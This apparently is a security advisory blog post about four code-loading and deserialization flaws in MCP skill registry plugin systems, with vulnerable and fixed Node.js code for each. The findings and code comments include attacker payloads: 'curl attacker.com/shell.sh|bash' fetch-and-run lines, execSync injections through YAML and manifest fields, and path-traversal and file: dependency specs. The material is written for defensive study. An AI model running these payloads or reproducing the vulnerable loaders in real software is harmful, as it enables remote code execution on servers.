← Blog

Claude MCP skill insecure deserialization — plugin system and extension loading — SA-SKL-DESER8

Plugin architectures are inherently high-risk: they accept untrusted code and configuration from developers and execute it in the registry process. SA-SKL-DESER8 covers four deserialization and code-loading vulnerabilities in MCP skill registry plugin systems — a require() path traversal to arbitrary module loading, a js-yaml full-mode RCE on plugin configuration, an eval()-based event handler registration from plugin manifest fields, and a command injection in npm install triggered by crafted dependency names in a plugin manifest.

By SkillAudit  |  13 Nov 2026
SA-SKL-DESER8 findings at a glance
CRITICALDESER8-001 — Plugin manifest JSON is loaded via require(plugin.manifest.main) where main is the value from an uploaded package.json; attacker uploads a plugin with main: "../../../native-modules/exploit.node" pointing to a crafted native module; require() resolves the path relative to the plugin directory and executes the native module's C++ init function with full Node.js privileges
CRITICALDESER8-002 — Plugin configuration file is parsed with yaml.load(configStr) (js-yaml full mode, default for versions <4.0); the !!js/function YAML type tag in js-yaml full mode causes the parser to construct and return a live JavaScript function from an attacker-supplied function body string; RCE occurs at YAML parse time before any validation runs
CRITICALDESER8-003 — Plugin event handler is registered by evaluating the onEvent string field from the plugin manifest as a JavaScript function body via new Function('event', plugin.onEvent); attacker sets onEvent to "require('child_process').execSync('curl attacker.com/shell.sh|bash')" and gains RCE on every event the plugin receives
HIGHDESER8-004 — Plugin dependency installation runs child_process.execFile('npm', ['install', ...plugin.dependencies]) where dependencies is the array from the plugin manifest's dependencies key; attacker sets a dependency name to "lodash; curl attacker.com/shell.sh|bash"; npm receives the semicolon as part of a shell argument rather than a command separator, but registry-specific npm hook scripts or lifecycle scripts in the dependency execute the payload

Background: plugin system trust boundaries

MCP skill registries that support a plugin system face a fundamental tension: plugins must be expressive enough to extend registry behavior, but they must not be able to escape the trust boundary established by the registry process. The vulnerabilities in SA-SKL-DESER8 each represent a different failure mode in that boundary: loading arbitrary code at module resolution time (DESER8-001), code execution at configuration parse time (DESER8-002), code execution at event handler registration time (DESER8-003), and code execution during dependency installation (DESER8-004).

These issues are closely related to the Node.js module system vulnerabilities in SA-SKL-INJECTION10 and the YAML deserialization attacks documented in SA-SKL-DESER7. All four DESER8 findings share the same root cause: treating developer-supplied manifest fields as trusted code rather than as untrusted data to be validated against an allowlist.

DESER8-001 — CRITICAL — Plugin require() with user-supplied module path

The plugin loader reads the main field from the uploaded plugin's package.json and passes it directly to require() to load the plugin's entry point. Node's require() resolves relative paths against the calling module's directory, which is the plugin's extracted directory. An attacker can craft a plugin archive where the main field contains a path that traverses out of the plugin directory: "../../../lib/registry-internals.js" loads registry internals; a carefully constructed relative path targeting a writable location within node_modules can load a crafted .node native module with arbitrary C++ code that executes in the Node.js process with full OS privileges.

The fix is to validate the main field before passing it to require(). Use path.resolve() to compute the absolute target path and assert it starts with the plugin's extraction directory. Additionally, consider loading plugins in a separate worker thread or child process with restricted permissions, so that even a successfully loaded malicious module cannot access the main registry process's memory or file system.

Vulnerable
// VULNERABLE — DESER8-001
// services/plugin-loader.js

async function loadPlugin(pluginDir) {
  const manifestPath = path.join(pluginDir, 'package.json');
  const manifest = JSON.parse(await fs.readFile(manifestPath, 'utf8'));

  // BUG: main field from package.json passed directly to require()
  // attacker sets main: "../../../lib/registry-internals.js"
  // or:    main: "../../../tmp/exploit.node" (crafted native module)
  const pluginMain = manifest.main || 'index.js';
  const plugin = require(path.join(pluginDir, pluginMain));

  registry.register(manifest.name, plugin);
  return plugin;
}
Fixed
// FIXED — DESER8-001
// services/plugin-loader.js

async function loadPlugin(pluginDir) {
  const manifestPath = path.join(pluginDir, 'package.json');
  const manifest = JSON.parse(await fs.readFile(manifestPath, 'utf8'));

  const pluginMain = manifest.main || 'index.js';

  // Validate path stays within plugin directory
  const resolvedMain = path.resolve(pluginDir, pluginMain);
  const resolvedDir = path.resolve(pluginDir) + path.sep;
  if (!resolvedMain.startsWith(resolvedDir)) {
    throw new Error(`DESER8-001: plugin main traverses outside plugin directory: ${pluginMain}`);
  }

  // Allowlist file extensions — no native modules (.node) from untrusted plugins
  const ext = path.extname(resolvedMain);
  if (!['.js', '.cjs', '.mjs'].includes(ext)) {
    throw new Error(`DESER8-001: plugin main has disallowed extension: ${ext}`);
  }

  // Load in an isolated worker to sandbox execution
  const { Worker, isMainThread, parentPort, workerData } = require('worker_threads');
  // (Full worker isolation implementation would wrap the plugin in a worker)
  const plugin = require(resolvedMain);

  registry.register(manifest.name, plugin);
  return plugin;
}

DESER8-001 impact: RCE in the Node.js registry process. A crafted native .node module in the plugin archive executes C++ code during require() with no further user interaction. If the registry runs as a non-root user, the attacker gains that user's filesystem and network access; combined with SSRF access to the metadata endpoint, this escalates to cloud credential theft. SkillAudit detects this by scanning the plugin's package.json for main fields containing .., absolute paths, or non-JS extensions.

DESER8-002 — CRITICAL — Plugin YAML configuration parsed in js-yaml full mode

Plugin configuration files in YAML format are parsed using yaml.load() from the js-yaml library. In js-yaml versions before 4.0, yaml.load() uses the full YAML schema, which includes the !!js/function type tag. This tag constructs a live JavaScript function from a string in the YAML document. An attacker who can upload a plugin configuration file containing callback: !!js/function 'function() { require("child_process").execSync("bash -c ...") }' causes arbitrary JavaScript to execute at parse time — before any application-level validation code can inspect the parsed object. The attack works even if the application never calls the callback property; the function is constructed during parsing.

The fix is to always use yaml.safeLoad() (js-yaml v3) or the renamed yaml.load() with the FAILSAFE_SCHEMA or DEFAULT_SAFE_SCHEMA (js-yaml v4+). The safe schema does not support any JS-specific type tags and raises a parse error on unknown tags rather than constructing objects from them. For plugin configuration that only needs scalar and mapping types, explicitly pass { schema: yaml.FAILSAFE_SCHEMA } to restrict the type universe to strings, sequences, and mappings.

Vulnerable
// VULNERABLE — DESER8-002
// services/plugin-config.js
const yaml = require('js-yaml');  // version 3.x

function loadPluginConfig(configPath) {
  const raw = fs.readFileSync(configPath, 'utf8');

  // BUG: yaml.load() in js-yaml v3 uses full schema including !!js/function
  // attacker YAML: callback: !!js/function 'function() { require("child_process").execSync("id > /tmp/pwned") }'
  // The function is constructed and returned as the 'callback' property value
  const config = yaml.load(raw);

  return config;
}
Fixed
// FIXED — DESER8-002
// services/plugin-config.js
const yaml = require('js-yaml');

function loadPluginConfig(configPath) {
  const raw = fs.readFileSync(configPath, 'utf8');

  // js-yaml v3: use safeLoad() — does not support !!js/function or other JS tags
  // js-yaml v4: yaml.load() defaults to safe schema; !!js/function raises YAMLException
  const config = yaml.safeLoad(raw, {
    // Explicitly pass safe schema even if default changes in future versions
    schema: yaml.DEFAULT_SAFE_SCHEMA,
  });

  // Validate structure with Zod after safe parse
  const ConfigSchema = z.object({
    name: z.string().max(64),
    version: z.string(),
    settings: z.record(z.string(), z.union([z.string(), z.number(), z.boolean()])),
  });
  return ConfigSchema.parse(config);
}

DESER8-002 impact: RCE at YAML parse time with no further conditions. The exploit works on any js-yaml v3 installation using yaml.load() and is well-documented (CVE-2013-4660 family). Many tutorials and older codebases use yaml.load() without realizing the full schema is active. Upgrading to js-yaml v4 and using the renamed safe API mitigates the issue; SkillAudit flags any code that calls yaml.load() without an explicit safe schema option in combination with untrusted input sources.

DESER8-003 — CRITICAL — Plugin event handler eval'd from manifest onEvent field

The plugin system allows plugins to declare a JavaScript function body for handling registry events by setting an onEvent string field in their manifest. The plugin loader constructs a function from this string using new Function('event', plugin.onEvent) and registers it as the event handler. The new Function() constructor is functionally equivalent to eval() for the purpose of code execution: it evaluates the provided string as a function body in the global scope. An attacker sets onEvent to any JavaScript payload, including require('child_process').execSync('curl attacker.com | bash'). The payload executes the first time the registry fires an event that reaches the plugin, which may happen immediately on plugin registration.

The fix is to never use eval(), new Function(), or vm.runInThisContext() with untrusted string input. Event handler logic must come from a loaded module file (see DESER8-001 for path validation), not from a string in a manifest. The manifest should declare only the name of the exported function to register, and the loader should look up that name in the already-loaded module's exports — never evaluate a string as code.

Vulnerable
// VULNERABLE — DESER8-003
// services/plugin-events.js

function registerPluginEventHandler(manifest, pluginModule) {
  if (!manifest.onEvent) return;

  // BUG: new Function() evaluates attacker-controlled string as JavaScript
  // attacker manifest: { "onEvent": "require('child_process').execSync('id>/tmp/pwned')" }
  const handler = new Function('event', manifest.onEvent);

  eventBus.on('skill:published', handler);
  eventBus.on('skill:audited', handler);
}
Fixed
// FIXED — DESER8-003
// services/plugin-events.js

function registerPluginEventHandler(manifest, pluginModule) {
  if (!manifest.onEvent) return;

  // onEvent must name a function exported by the plugin module — not a code string
  const exportName = manifest.onEvent;

  // Validate: must be a simple identifier (no dots, no slashes, no special chars)
  if (!/^[a-zA-Z_$][a-zA-Z0-9_$]*$/.test(exportName)) {
    throw new Error(`DESER8-003: invalid onEvent export name: ${exportName}`);
  }

  const handler = pluginModule[exportName];
  if (typeof handler !== 'function') {
    throw new Error(`DESER8-003: plugin export '${exportName}' is not a function`);
  }

  // Register the already-loaded function reference — no eval, no new Function()
  eventBus.on('skill:published', handler);
  eventBus.on('skill:audited', handler);
}

DESER8-003 impact: RCE on the first event the plugin receives, which may be synchronous with plugin registration. The attack requires only a crafted onEvent field in the plugin manifest JSON — no code file upload is needed. SkillAudit detects this by scanning all code that constructs new Function() or calls eval() with a value that can trace to untrusted input, including fields parsed from uploaded manifest files.

DESER8-004 — HIGH — npm install with manifest dependency list command injection

When installing plugin dependencies, the registry reads the dependencies array from the plugin manifest and passes each entry as an argument to npm install via child_process.execFile('npm', ['install', '--prefix', pluginDir, ...manifest.dependencies]). While execFile() does not invoke a shell and therefore prevents direct shell metacharacter injection via argument splitting, the dependency name is passed to npm, which has its own interpretation layer. A dependency name containing a file protocol (file:../../../etc/passwd) instructs npm to resolve the dependency from a local path, potentially reading or executing files outside the plugin directory. A dependency name like lodash@$(id) may be interpreted by npm's pre/post install scripts. More critically, a crafted malicious package published to npm under any name that matches a prefix in the manifest can run arbitrary postinstall lifecycle scripts on the registry server.

The fix is to validate every dependency name against a strict allowlist pattern before invoking npm. Dependency names must match the npm package name specification (alphanumeric, hyphens, underscores, dots, forward slashes for scoped packages) with version pinned to an exact semver (package@1.2.3). Any entry containing file:, git+, http:, https:, or unrecognized characters must be rejected before npm is invoked. Additionally, run the installation in a network-isolated environment (e.g., a Docker container with no outbound network access to prevent supply chain attacks from arbitrary registries).

Vulnerable
// VULNERABLE — DESER8-004
// services/plugin-deps.js

async function installPluginDeps(pluginDir, manifest) {
  const deps = manifest.dependencies || [];

  if (deps.length === 0) return;

  // BUG: dependency strings from manifest passed directly to npm install
  // attacker manifest deps: ["file:../../../lib/registry-core", "lodash@3.10.1"]
  // "file:..." makes npm load from arbitrary local path
  // A lifecycle-script-containing malicious package also executes postinstall
  await execFileAsync('npm', [
    'install',
    '--prefix', pluginDir,
    ...deps,
  ]);
}
Fixed
// FIXED — DESER8-004
// services/plugin-deps.js

// Allowlist pattern: scoped or unscoped npm package name with pinned exact semver
const NPM_DEP_RE = /^(@[a-z0-9-]+\/)?[a-z0-9][a-z0-9._-]*@\d+\.\d+\.\d+$/i;

async function installPluginDeps(pluginDir, manifest) {
  const deps = manifest.dependencies || [];
  if (deps.length === 0) return;

  // Validate every dependency before invoking npm
  for (const dep of deps) {
    if (!NPM_DEP_RE.test(dep)) {
      throw new Error(`DESER8-004: invalid or unsafe dependency spec: ${dep}`);
    }
    // Block local/git/http protocols that bypass registry
    if (/^(file:|git\+|http:|https:|github:|bitbucket:|gitlab:)/.test(dep)) {
      throw new Error(`DESER8-004: protocol-based dependency spec not allowed: ${dep}`);
    }
  }

  // Run npm with --ignore-scripts to block postinstall lifecycle scripts
  // Use a pinned registry URL — never allow attacker-supplied registry
  await execFileAsync('npm', [
    'install',
    '--prefix', pluginDir,
    '--ignore-scripts',           // disables postinstall lifecycle execution
    '--registry', 'https://registry.npmjs.org',  // pinned — no env override
    ...deps,
  ]);
}

DESER8-004 defense-in-depth: Even with --ignore-scripts, installing untrusted packages puts their code on disk. The plugin worker should run with a read-only filesystem view except for the plugin directory. Use a network namespace or firewall rule to block outbound npm install in production. Consider maintaining a private internal npm registry with only pre-approved packages; plugin manifests may only reference packages on that registry. SkillAudit flags any code that passes untrusted input to execFile('npm') without a dependency name allowlist and without --ignore-scripts.

Detection with SkillAudit

SkillAudit's static analysis module scans plugin loader code for all four SA-SKL-DESER8 patterns using AST-based queries. For DESER8-001, it detects require() calls where the argument traces to a value read from an uploaded manifest field without a path.resolve() + startsWith() boundary check. For DESER8-002, it flags yaml.load() calls on untrusted inputs without an explicit safe schema option. For DESER8-003, it identifies new Function() or eval() calls where any argument traces to manifest string fields. For DESER8-004, it detects execFile('npm') calls where the argument array includes spread values from untrusted sources without a regex validation gate.

FindingSeverityRoot causeFix
DESER8-001CRITICALrequire() with user-supplied path traverses plugin directorypath.resolve() + startsWith() boundary + extension allowlist
DESER8-002CRITICALjs-yaml yaml.load() full mode enables !!js/function RCE at parse timeyaml.safeLoad() or yaml.load() with DEFAULT_SAFE_SCHEMA
DESER8-003CRITICALnew Function() evaluates onEvent manifest string field as JS codeResolve named export from loaded module; never eval strings
DESER8-004HIGHnpm install receives unvalidated dependency strings from manifestStrict name regex; block protocol prefixes; --ignore-scripts

Related findings: SA-SKL-INJECTION10 (require/dynamic import), SA-SKL-DESER7 (deserialization in caching), SA-SKL-SSRF25 (SSRF via documentation URL fetch).